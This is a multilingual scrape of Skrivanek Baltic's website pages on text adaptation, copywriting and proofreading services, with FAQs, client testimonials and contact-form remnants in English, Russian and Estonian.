requests come from legal entities, we gladly work with natural persons as well. Notary-certified translations is the most common service among natural persons. Language courses, and camps for children and youths are also popular. Quality and confidentiality guaranteed by ISO certificatesOur project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Ознакомьтесь с услугами Skrivanek по адаптации текстов и копирайтингу. Преобразуйте свой контент, увлеките свою аудиторию. Ваши слова, наше ремесло. - Published: 2024-05-13 - Modified: 2024-06-17 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/ - Translation Priorities: Optional АДАПТАЦИЯ ТЕКСТОВ Наша команда выполнит адаптацию текстов, облегчающую их восприятие конкретной выбранной целевой аудиторией, расставив акценты, актуальные для соответствующей культурной среды или группы населения. Чаще всего данный подход используется нами в работе с рекламными и креативными текстами. Свяжитесь с нами ПОДГОТОВКА КРЕАТИВНЫХ ТЕКСТОВ (КОПИРАЙТИНГ) При переводе и создании креативных текстов особое внимание мы уделяем выбору формы обращения, ее написанию, а также использованию уменьшительных форм. Мы убеждены в том, что творческий текст не может восприниматься в отрыве от его визуальных или звуковых элементов, а вместе они образуют единое гармоничное послание. Читать дальше ГРАММАТИЧЕСКОЕ И СТИЛИСТИЧЕСКОЕ ИСПРАВЛЕНИЕ ТЕКСТОВ Предлагаем услуги корректуры, или стилистического исправления текста, сравнения перевода с оригиналом и редактуры, в том числе для текстов, которые не подготавливались или не переводились у нас. Данные услуги предоставляют только специалисты, для которых соответствующий целевой язык является родным (носители языка). Читать дальше ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ В тех случаях, когда текст планируется использовать, например, в маркетинговых или рекламных целях, точного перевода недостаточно, его необходимо локализовать, заменив используемые идиомы или другие средства речевой выразительности на привычные для носителей целевого языка аналоги. Таким образом текст адаптируется к требованиям потенциальной аудитории. Если это необходимо, мы гарантируем, что переведенный документ будет выглядеть точь-в-точь как оригинал. Кроме того, есть возможность оформить текст в соответствии с требованиями клиента — с этой целью к работе привлекается команда специалистов по компьютерной верстке. По мере возможности мы работаем с оригиналами документов в электронном формате, не изменяя их стиль и форматирование. Да, частным лицам мы указываем цену с учетом НДС. Корпоративным клиентам, согласно общепринятой рыночной практике, сообщается стоимость услуги без НДС. УЖЕ БОЛЕЕ 30 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO --- > Улучшите свой контент с помощью наших услуг по корректуре и стилистике. Носители языка обеспечивают ясность и точность. 🚀 Обращайтесь! - Published: 2024-05-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/ - Translation Priorities: Optional Наши лингвисты помогут вам повысить стилистическое или грамматическое качество текста, проверят использованную в тексте терминологию или сравнят перевод с оригиналом, чтобы убедиться в его точности. Также возможна помощь в случаях, если текст не переводился или не подготавливался у нас. Проверка каждого языка проводится лингвистом – его носителем. Корректура, или стилистическое исправление текста, – это грамматическая и стилистическая проверка текста, цель которой – убедиться в соответствии и пригодности перевода для определенной цели, а также в соблюдении традиций конкретной отрасли. Корректуру выполняет лингвист, для которого соответствующий язык является родным, что гарантирует качество, точность и профессионализм перевода. Детальное сравнение перевода с оригиналом проводится, чтобы проверить точность перевода и соответствие оригиналу, а в случае необходимости внести исправления. Чтобы добиться наиболее качественного результата, лингвист использует инструкции, терминологические словари и другие справочные материалы. В результате сравнения вы получите перевод, полностью соответствующий оригиналу, читабельный, грамматически и терминологически верный, а также пригодный для поставленной цели. Редактура, или проверка терминологии, пригодится, если вам нужно проверить перевод, предназначенный для нужд какой-либо специфической отрасли. Проверку использованных в переводе терминов проводит редактор – носитель соответствующего иностранного языка, компетентный в конкретной отрасли. ИЩЕТЕ ГРАММАТИЧЕСКОЕ И СТИЛИСТИЧЕСКОЕ ИСПРАВЛЕНИЕ ТЕКСТОВ? Мы подготовим для вас предложение и предоставим консультацию. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ Мы выполняем устный и письменный перевод и предлагаем широкий спектр языковых решений. Наши устные переводчики работают на конференциях и деловых встречах, а также оказывают поддержку в ходе судебных процессов. Письменные переводы включают специализированные и общие переводы в различных областях. Кроме того, мы выполняем локализацию и адаптацию, занимаемся копирайтингом, компьютерной версткой и преподаванием языков. Да, частным лицам мы указываем цену с учетом НДС. Корпоративным клиентам, согласно общепринятой рыночной практике, сообщается стоимость услуги без НДС. Несмотря на то, что запросы в основном поступают от предприятий, мы с радостью оказываем услуги частным лицам. Чаще всего частным лицам требуются нотариально заверенные переводы; кроме того, очень востребованы языковые курсы и лагеря для детей и подростков. Наша команда окажет помощь в любой ситуации.  Гарантия качества и конфиденциальности, подтвержденная сертификатами ISO  Наши руководители проектов говорят на латышском, русском, английском, немецком и польском языках  99 % клиентов получают ценовое предложение менее чем через 15 минут  Более 3000 лингвистов и носителей языка  Более 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерам  Каждый год наше бюро переводит свыше 16 миллионов слов ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Tutvuge Skrivanek Tekstide adapteerimine ja copywriting teenustega. Muutke oma sisu, köitke oma publikut. Teie sõnad, meie meisterlikkus. - Published: 2024-05-13 - Modified: 2024-06-17 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/ - Translation Priorities: Optional TEKSTIDE ADAPTEERIMINE Meie meeskond kohandab tekste, muutes need sihtrühmale paremini arusaadavaks, kasutades rõhuasetusi, mis kõnetavad vastavat kultuuriruumi või sotsiaalset rühma. Seda lähenemisviisi kasutatakse kõige enam reklaamide ja loominguliste tekstide puhul. Võta ühendust LOOVTEKSTIDE KIRJUTAMINE (COPYWRITING) Loovtekste tõlkides ja kirjutades pöörame erilist tähelepanu sobiva pöördumise ja ka deminutiivi kasutamisele. Veendume, et loovteksti ei saaks tajuda eraldi selle visuaalsetest ja helilistest elementidest ning et need kõik koos annaksid edasi harmoonilist lugu. Loe rohkem TEKSTIDE GRAMMATILINE JA STILISTILINE PARANDAMINE Pakume teksti korrektuuri ehk stilistilise parandamise, tõlke originaaliga võrdlemise ja toimetamise teenust ka tekstidele, mida me ei ole ise koostanud või tõlkinud. Neid teenuseid pakuvad ainult eksperdid, kellele sihtkeel on emakeel. Loe rohkem KORDUMA KIPPUVAD KÜSIMUSED Kui tekst on koostatud turundus- või reklaami eesmärgil, ei piisa selle tavapärasest tõlkimisest – enamasti tuleb teksti sisu lokaliseerida ning idioomid ja muud väljendid muuta, tagamaks selle, et teksti mõte on sihtkeele kasutajatele lihtsasti arusaadav. Seetõttu teostatakse tekstide kohandamist, et need vastaksid täielikult sihtkeele kõnelejate nõuetele. Vajaduse korral tagame, et kliendi dokumendi tõlgitud versioon näeb välja täpselt samasugune nagu originaaltekst. Samuti saame tõlke oma trükiettevalmistusmeeskonna abil vormindada vastavalt kliendi juhistele. Võimaluse korral töötame originaaldokumentidega elektroonilisel teel, ilma dokumendi stiili ega vormingut muutmata. Jah, kõigis füüsilistele isikutele mõeldud hinnapakkumistes sisaldub ka käibemaks. Äriklientide puhul tuuakse hinnad välja ilma käibemaksuta, kuna nii on üldiselt tavaks. ROHKEM KUI 25 AASTAT TURUL! Hinnapakkumise koostamisel võtame aluseks teie soovid. 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati --- > Kogemused Skrivaneki copywriting teenuste kohta. Muutke oma sisu, köitke oma publikut. Teie sõnad, meie käsitöö. - Published: 2024-05-13 - Modified: 2024-10-21 - URL: https://skrivanek.lv/radosu-tekstu-sagatavosana/ REKLAAMIDE JA MITMEKEELSETE TURUNDUSTEKSTIDE KIRJUTAMINE (COPYWRITING) Teame hästi, et inimesed ei otsusta teadlikult, et loevad nüüd reklaame - nad loevad ja kuulavad vaid seda, mis neid tõepoolest huvitab ning vahel võib selleks olla reklaam. Kas olete mõelnud, kuidas võib keelefirma aidata just teil end üleküllastunud inforuumis kuuldavaks teha? Skrivaneki loovtekstide autorid teevad tihedat koostööd kliendiga ning ei võta tekste lihtsalt õhust, vaid teevad endale hoolikalt selgeks teie toote üksikasjad. Ka suurepärane kirjaoskus ei ole ainus, mida autorid vajavad, et meie kliendid võiksid rahvusvaheliselt kasvada. Tekstide loomisel ja välisturgudele kohandamisel on autori ülesanne hoida alles sõnumi ainulaadsus ja tonaalsus, austades publiku kultuurilisi erinevusi ja harjumusi, tundes ka kirjutamata suhtlus- ja etiketireegleid. Kui otsite keelefirmat, kes loob tõeliselt kaasahaaravaid reklaamtekste ja hoolitseb teie veebisaidi mitmekeelse sisu eest, et jõuda võimalikult paljude potentsiaalsete klientideni üle kogu maailma, siis olete õiges kohas. REKLAAMTEKSTIDE JA MITMEKEELSETE TURUNDUSTEKSTIDE ROLL TEIE ETTEVÕTTE KASVU JUURES Tekstidega töötamine on iga ettevõtte turundusosakonna üks olulisemaid ülesandeid. Sama on ka teie ettevõttes! Tabavalt ja täpselt leitud sõnadel on suur jõud, et teie kliente mõjutada või innustada neid tegudele. See on ka iga turunduskampaania edu võti. Turundustekstid on kõikvõimalikud tekstilised materjalid, mida teie ettevõte saab kasutada oma müügitegevuses ning oma toodete-teenuste reklaamimiseks. Need on nii trükised, esitlused, e-kirjade mallid, hõlpsasti muudetav mitmekeelne sisu kodulehel, aga ka tekstid ettevõtte heli- ja videosisule. Töö tekstiga on nagu südamlik vestlus parima sõbraga – kliendiga, kes teid inspireerib. Toimiva ja hästi sihitud reklaamlause koostamiseks peab teksti autor oma lugejat väga hästi tundma, olema kursis tema huvide ja harjumustega ning teadma isegi tema varjatumaid unistusi. Varem valminud veebisaidi sisu adapteerimiseks või lokaliseerimiseks tuleb valitud sihtturu või sihtriigi auditooriumi eelnevalt uurida. Eriti oluline on teha õigeaegselt Google'i märksõnade eeluuring, et rääkida kohe alguses keeles, milles võimalik ostja teie toodet või teenust vastavas riigis otsib. UNIKAALNE LOOVTEKST JA MITMEKEELSE SISU TURUNDUS Mis vahe on unikaalse loovteksti kirjutamisel ja mitmekeelse sisu turundamisel? Sisuturundus hõlmab kogu sisu, mida teie ettevõtte järjepidevalt loob ja internetis avaldab, et parandada ettevõtte asetust otsingutulemustes, edendades nii ka kaudset müüki. Tavaliselt on tegu teie valdkonda puudutavate blogipostituste ja kogemuslugudega, aga ka meelelahutusliku ja haridusliku sisuga. Miks on see oluline? Vastus on lihtne - selleks, et luua oma klientidega pikaajalisi suhteid, et neil oleks huvi teid jälgida ja sotsiaalvõrgustikes suhelda, lugeda ja jagada teie blogipostitusi ning rääkida teist ka oma sõpradele. Kuidas saab teid aidata Skrivanek? Me räägime rohkem kui 110 keeles, mida räägivad teie võimalikud kliendid. Soovitud sihtrühmani jõudmine kogu maailmas ei ole kunagi varem olnud nii lihtne – lihtsalt valige riik või piirkond ning Skrivaneki tekstide autorid hoolitsevad kõige muu eest. Kultuuridevaheline kommunikatsioon on meie eriala. KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada REKLAAMIDE JA MITMEKEELSETE TURUNDUSTEKSTIDE KIRJUTAMINE (COPYWRITING) Teame hästi, et inimesed ei otsusta teadlikult, et loevad nüüd reklaame - nad loevad ja kuulavad vaid seda, mis neid tõepoolest huvitab ning vahel võib selleks olla reklaam. Kas olete mõelnud, kuidas võib keelefirma aidata just teil end üleküllastunud inforuumis kuuldavaks teha? Skrivaneki loovtekstide autorid teevad tihedat koostööd kliendiga ning ei võta tekste lihtsalt õhust, vaid teevad endale hoolikalt selgeks teie toote üksikasjad. Ka suurepärane kirjaoskus ei ole ainus, mida autorid vajavad, et meie kliendid võiksid rahvusvaheliselt kasvada. Tekstide loomisel ja välisturgudele kohandamisel on autori ülesanne hoida alles sõnumi ainulaadsus ja tonaalsus, austades publiku kultuurilisi erinevusi ja harjumusi, tundes ka kirjutamata suhtlus- ja etiketireegleid. Kui otsite keelefirmat, kes loob tõeliselt kaasahaaravaid reklaamtekste ja hoolitseb teie veebisaidi mitmekeelse sisu eest, et jõuda võimalikult paljude potentsiaalsete klientideni üle kogu maailma, siis olete õiges kohas. REKLAAMTEKSTIDE JA MITMEKEELSETE TURUNDUSTEKSTIDE ROLL TEIE ETTEVÕTTE KASVU JUURES Tekstidega töötamine on iga ettevõtte turundusosakonna üks olulisemaid ülesandeid. Sama on ka teie ettevõttes! Tabavalt ja täpselt leitud sõnadel on suur jõud, et teie kliente mõjutada või innustada neid tegudele. See on ka iga turunduskampaania edu võti. Turundustekstid on kõikvõimalikud tekstilised materjalid, mida teie ettevõte saab kasutada oma müügitegevuses ning oma toodete-teenuste reklaamimiseks. Need on nii trükised, esitlused, e-kirjade mallid, hõlpsasti muudetav mitmekeelne sisu kodulehel, aga ka tekstid ettevõtte heli- ja videosisule. Töö tekstiga on nagu südamlik vestlus parima sõbraga – kliendiga, kes teid inspireerib. Toimiva ja hästi sihitud reklaamlause koostamiseks peab teksti autor oma lugejat väga hästi tundma, olema kursis tema huvide ja harjumustega ning teadma isegi tema varjatumaid unistusi. Varem valminud veebisaidi sisu adapteerimiseks või lokaliseerimiseks tuleb valitud sihtturu või sihtriigi auditooriumi eelnevalt uurida. Eriti oluline on teha õigeaegselt Google'i märksõnade eeluuring, et rääkida kohe alguses keeles, milles võimalik ostja teie toodet või teenust vastavas riigis otsib. UNIKAALNE LOOVTEKST JA MITMEKEELSE SISU TURUNDUS Mis vahe on unikaalse loovteksti kirjutamisel ja mitmekeelse sisu turundamisel? Sisuturundus hõlmab kogu sisu, mida teie ettevõtte järjepidevalt loob ja internetis avaldab, et parandada ettevõtte asetust otsingutulemustes, edendades nii ka kaudset müüki. Tavaliselt on tegu teie valdkonda puudutavate blogipostituste ja kogemuslugudega, aga ka meelelahutusliku ja haridusliku sisuga. Miks on see oluline? Vastus on lihtne - selleks, et luua oma klientidega pikaajalisi suhteid, et neil oleks huvi teid jälgida ja sotsiaalvõrgustikes suhelda, lugeda ja jagada teie blogipostitusi ning rääkida teist ka oma sõpradele. Kuidas saab teid aidata Skrivanek? Me räägime rohkem kui 110 keeles, mida räägivad teie võimalikud kliendid. Soovitud sihtrühmani jõudmine kogu maailmas ei ole kunagi varem olnud nii lihtne – lihtsalt valige riik või piirkond ning Skrivaneki tekstide autorid hoolitsevad kõige muu eest. Kultuuridevaheline kommunikatsioon on meie eriala. KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada MILLAL PEAKS MÕTLEMA LOOVTEKSTIDE KIRJUTAMISELE? Lihtne vastus on, et alati! Tegelikult on nii, et töö tekstiga ei lõppe mitte kunagi. Nimelt on ettevõtte ärieesmärkide saavutamiseks või müügimahtude tõstmiseks tarvis kirjutada aina uusi ja uusi tekste. Et suurendada tulusid, tuleb otsida uusi turge ja tegeleda tootearendusega, aga selleks on vaja ka kvaliteetseid turundustekste. Töö ei saa kunagi otsa ka olemasoleva sisuga, sest seda tuleb pidevalt täiustada ja otsingumootorite parameetritega kohandada. Aja jooksul muutuvad ka sihtrühma harjumused. Inimesed hakkavad kasutama teisi sotsiaalmeediakanaleid ja jälgima uusi arvamusliidreid ning ka klientide väärtushinnangud võivad oluliselt muutuda. Skrivaneki tekstide autorid jälgivad tähelepanelikult turunduse- ja reklaamivaldkonna viimaseid arenguid, sest olemasolevate ja potentsiaalsete sihtrühmade olukord eri riikides areneb ja muutub igal pool omal moel, inimeste mured ja unistused erinevad. On selge, et USA reklaamikultuur erineb Jaapani reklaamikeskkonnast ja -traditsioonidest. Ka Euroopa ostjad otsivad toodete kohta teavet erinevaid kanaleid pidi, kui seda tehakse Aasias, kuna üldjuhul otsime me lahendusi, mis sobituvad meie igapäevaste vajaduste ja olukordadega. MITMEKEELSE TURUNDUSTEKSTI KIRJUTAMINE Suuremad ja väiksemad ettevõtted, kes tegutsevad mitmes riigis, töötavad väsimatult ettevõtte ülemaailmse kommunikatsiooni ja brändi „hääle“ täiustamisega. Selle ülesandega saavad suurepäraselt abistada kogenud kommunikatsiooni- ja keelefirmad, kes tunnevad hästi erinevusi riikide kommunikatsioonis. Sageli luuakse koostöös kliendiga kommunikatsioonijuhendid ja -suunised ning tekstid kirjutatakse nullist, aga sageli otsustavad kaubamärgid kohandada juba olemasolevat sisu uuele sihtrühmale. Kas teil on kahtlusi, kas olemasolevad tekstid on piisavalt efektiivsed ja kõnetavad lugejaid? Skrivaneki tekstide autorid Eestis, Lätis, Leedus, Poolas, Saksamaal ning teistes Euroopa ja maailma riikides aitavad teil ületada keelebarjääre ja teha end kuuldavaks. Pidage meeles, et iga toode ja olukord on ainulaadne ning leida tuleb võimalikult sobiv lahendus. ESIMESED SAMMUD LOOVTEKSTIDE KIRJUTAMISEL. MILLEST ALUSTADA? Kui olete võtnud kavaks teksti loomise, kuid pole kindel, mida täpsemalt kirjutada, soovitab Skrivanek mõelda järgmistele küsimustele: Millist probleemi aitab teie toode või teenus teie klientidel lahendada? Millised on teie hinnangul teie toote või teenuse eelised? Mille poolest olete konkurentidest paremad? Kes on teie sihtrühm? Kes on teie ideaalne klient – kirjeldage teda, mõelge tema vanusele, soole, hobidele jms. Millised inimesed või ettevõtted on teie toodet või teenust siiani kasutanud? Mida te nende kohta teate? Mida teie olemasolevad kliendid teilt ootavad? Kuidas jõuavad teie tooted või teenused klientideni? Kas pöördute olemasoleva sihtrühma poole või püüate jõuda uute klientideni? Millist eesmärki soovite selle tekstiga saavutada? Millised on teie ettevõtte laiemad turunduseesmärgid? Millist teksti kirjutate – kas tootekirjeldust, müügimeili, sotsiaalmeediapostitust, blogi sissekannet või kodulehe uut maandumislehte? Tõeline kirjaoskus tekib aja jooksul, seda tuleb arendada ja treenida nagu iga teistki oskust. ESIMESED SAMMUD LOOVTEKSTIDE KIRJUTAMISEL. MILLEST ALUSTADA? Kui olete võtnud kavaks teksti loomise, kuid pole kindel, mida täpsemalt kirjutada, soovitab Skrivanek mõelda järgmistele küsimustele: Millist probleemi aitab teie toode või teenus teie klientidel lahendada? Millised on teie hinnangul teie toote või teenuse eelised? Mille poolest olete konkurentidest paremad? Kes on teie sihtrühm? Kes on teie ideaalne klient – kirjeldage teda, mõelge tema vanusele, soole, hobidele jms. Millised inimesed või ettevõtted on teie toodet või teenust siiani kasutanud? Mida te nende kohta teate? Mida teie olemasolevad kliendid teilt ootavad? Kuidas jõuavad teie tooted või teenused klientideni? Kas pöördute olemasoleva sihtrühma poole või püüate jõuda uute klientideni? Millist eesmärki soovite selle tekstiga saavutada? Millised on teie ettevõtte laiemad turunduseesmärgid? Millist teksti kirjutate – kas tootekirjeldust, müügimeili, sotsiaalmeediapostitust, blogi sissekannet või kodulehe uut maandumislehte? Tõeline kirjaoskus tekib aja jooksul, seda tuleb arendada ja treenida nagu iga teistki oskust. MILLAL PEAKS MÕTLEMA LOOVTEKSTIDE KIRJUTAMISELE? Lihtne vastus on, et alati! Tegelikult on nii, et töö tekstiga ei lõppe mitte kunagi. Nimelt on ettevõtte ärieesmärkide saavutamiseks või müügimahtude tõstmiseks tarvis kirjutada aina uusi ja uusi tekste. Et suurendada tulusid, tuleb otsida uusi turge ja tegeleda tootearendusega, aga selleks on vaja ka kvaliteetseid turundustekste. Töö ei saa kunagi otsa ka olemasoleva sisuga, sest seda tuleb pidevalt täiustada ja otsingumootorite parameetritega kohandada. Aja jooksul muutuvad ka sihtrühma harjumused. Inimesed hakkavad kasutama teisi sotsiaalmeediakanaleid ja jälgima uusi arvamusliidreid ning ka klientide väärtushinnangud võivad oluliselt muutuda. Skrivaneki tekstide autorid jälgivad tähelepanelikult turunduse- ja reklaamivaldkonna viimaseid arenguid, sest olemasolevate ja potentsiaalsete sihtrühmade olukord eri riikides areneb ja muutub igal pool omal moel, inimeste mured ja unistused erinevad. On selge, et USA reklaamikultuur erineb Jaapani reklaamikeskkonnast ja -traditsioonidest. Ka Euroopa ostjad otsivad toodete kohta teavet erinevaid kanaleid pidi, kui seda tehakse Aasias, kuna üldjuhul otsime me lahendusi, mis sobituvad meie igapäevaste vajaduste ja olukordadega. MITMEKEELSE TURUNDUSTEKSTI KIRJUTAMINE Suuremad ja väiksemad ettevõtted, kes tegutsevad mitmes riigis, töötavad väsimatult ettevõtte ülemaailmse kommunikatsiooni ja brändi „hääle“ täiustamisega. Selle ülesandega saavad suurepäraselt abistada kogenud kommunikatsiooni- ja keelefirmad, kes tunnevad hästi erinevusi riikide kommunikatsioonis. Sageli luuakse koostöös kliendiga kommunikatsioonijuhendid ja -suunised ning tekstid kirjutatakse nullist, aga sageli otsustavad kaubamärgid kohandada juba olemasolevat sisu uuele sihtrühmale. Kas teil on kahtlusi, kas olemasolevad tekstid on piisavalt efektiivsed ja kõnetavad lugejaid? Skrivaneki tekstide autorid Eestis, Lätis, Leedus, Poolas, Saksamaal ning teistes Euroopa ja maailma riikides aitavad teil ületada keelebarjääre ja teha end kuuldavaks. Pidage meeles, et iga toode ja olukord on ainulaadne ning leida tuleb võimalikult sobiv lahendus. ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsus Meie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt 99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna --- > Parandage oma sisu meie korrektuuri- ja stilistiliseerimise teenustega. Emakeeleõpetajad tagavad selguse ja täpsuse. 🚀 Kontakt Skrivanek! - Published: 2024-05-13 - Modified: 2024-10-21 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/ - Translation Priorities: Optional Meie keeleeksperdid aitavad teil tõsta teksti stilistilist või grammatilist kvaliteeti, kontrollida tekstis kasutatud terminoloogiat või võrrelda tõlget originaaliga, et veenduda selle täpsuses. Aitame ka juhul, kui tekst pole tõlgitud või koostatud meie juures. Igas keeles teeb kontrolli lingvist, kelle jaoks vastav sihtkeel on emakeel. Korrektuur ehk teksti stilistiline parandamine on teksti grammatiline ja stilistiline kontroll, mida tehakse, et veenduda tõlke vastavuses ja sobivuses kindla eesmärgiga ning et kontrollida, kas on järgitud vastava valdkonna tavasid. Korrektuuri teostab keeleekspert, kelle jaoks vastav keel on emakeel, tagades tõlke kvaliteedi, täpsuse ja professionaalsuse. Tõlget võrreldakse üksikasjalikult originaaliga, et kontrollida tõlke õigsust ja vastavust originaalile ning et teha vajadusel parandusi. Kvaliteetseima tulemuse saavutamiseks võtab keeletundja appi juhendid, terminoloogiasõnastikud ja muud abimaterjalid. Võrdlemise tulemusena saate tõlke, mis vastab täielikult originaalile, on hästi loetav, grammatiliselt ja terminoloogiliselt korrektne ning vastab ettenähtud eesmärgile. Terminoloogia kontrollimine tuleb kasuks, kui on vaja kontrollida mõnele spetsiifilisele valdkonnale mõeldud tõlget. Tõlkes kasutatavaid mõisteid kontrollib toimetaja, kes tunneb konkreetset valdkonda ja kelle jaoks vastav võõrkeel on emakeel. KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada KORDUMA KIPPUVAD KÜSIMUSED Pakume kirjaliku ja suulise tõlke teenuseid ja suurel hulgal erinevaid keelealaseid lahendusi. Suulisi tõlke saab tellida konverentsidele ja ärikohtumistele ning samuti kohtuistungitele. Kirjaliku tõlke teenus hõlmab erialaseid ja üldiseid tõlkeid väga paljude valdkondade raames. Pakume ka lokaliseerimis –, teksti kohandamise, reklaamtekstide koostamise (copywriting) ja trükiettevalmistusteenuseid ning keeleõpet. Jah, kõigis füüsilistele isikutele mõeldud hinnapakkumistes sisaldub ka käibemaks. Äriklientide puhul tuuakse hinnad välja ilma käibemaksuta, kuna nii on üldiselt tavaks. Enamik meie tõlketellimusi tuleb küll juriidilistelt isikutelt, kuid teeme meeleldi koostööd ka füüsiliste isikutega. Füüsilistelt isikutelt saame peamiselt tellimusi notariaalseteks tõlgeteks. Samuti 